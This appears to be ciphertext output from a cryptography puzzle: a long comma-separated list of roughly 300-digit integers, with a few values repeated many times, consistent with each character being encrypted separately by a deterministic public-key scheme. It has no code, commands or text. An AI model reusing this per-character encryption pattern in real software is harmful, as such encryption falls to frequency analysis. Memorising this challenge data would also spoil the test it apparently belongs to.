20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 50154500011327049415150110613714558756986965132059956858621967629544808661996323441483612798709196285670748400127394046198652122647065373883652074401488461140240807698457285933739509452128499026773680398001271333305476126787388797879767072284116978372707084228927669307533874093727830120482310649071798909223, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 21825516420085786633620414923499927809866106375209997536887923519665612310710893091548347638116562999505810709467483467910561336083489137335015281764912210385860293937794761219080479166302700347936082258520119437027319181174057624695351433300415797052703957131305247757258587758932996789777812701543305273524, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 38802989341210530457378237385843973124921316122128304138276723482825938449328688522058677634210417960328667542939425659386994898427574509818766303473446802692515345332427976398389916234534200995301483992776549890379656184952685366723722458147873775598641647772939243953968981681779761004069962129149532525241, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 27576274928869221620126245883590920739381444228403264811604678585326136261919043025439432380393614033747213164606047970194501234144690982453937415512291833747115414764529517980671948859099514533322022692971474660454113892401294955396004739513550951184454650026652626364585678702730119565114784074733394949336, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 50154500011327049415150110613714558756986965132059956858621967629544808661996323441483612798709196285670748400127394046198652122647065373883652074401488461140240807698457285933739509452128499026773680398001271333305476126787388797879767072284116978372707084228927669307533874093727830120482310649071798909223, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12932315605361356260109350737202295649066381035837249252185795202913980480440863417983883037159810577739986004162343142150811156736478717833534910573828843843135123757197342268856313199793884733585941943828474996180460900240457279087457908434717560236156491751130556115885434115169341757101655831937772066303, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 2491776416157094729247228546388058805100982106803126656760544775570831165844468695126053157622604400534191689984239642501431889749664796813015093832003828115405081489372948999096884256544945626310866557608968099061130574640407181237631369536699135922165700470873033015069995508536990789193832860645907343986, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1176875645989444228120683125555162464459775615749992327233861740655598304185200372099710632670669740275928889234588484578424676523579010677635946710527054032662591517295007580344076297705713808521731216834723911361610732077241004086348355880037625191238102086425263717843500661215346831687259608549125530807, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 12932315605361356260109350737202295649066381035837249252185795202913980480440863417983883037159810577739986004162343142150811156736478717833534910573828843843135123757197342268856313199793884733585941943828474996180460900240457279087457908434717560236156491751130556115885434115169341757101655831937772066303, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 2491776416157094729247228546388058805100982106803126656760544775570831165844468695126053157622604400534191689984239642501431889749664796813015093832003828115405081489372948999096884256544945626310866557608968099061130574640407181237631369536699135922165700470873033015069995508536990789193832860645907343986, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 1176875645989444228120683125555162464459775615749992327233861740655598304185200372099710632670669740275928889234588484578424676523579010677635946710527054032662591517295007580344076297705713808521731216834723911361610732077241004086348355880037625191238102086425263717843500661215346831687259608549125530807, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 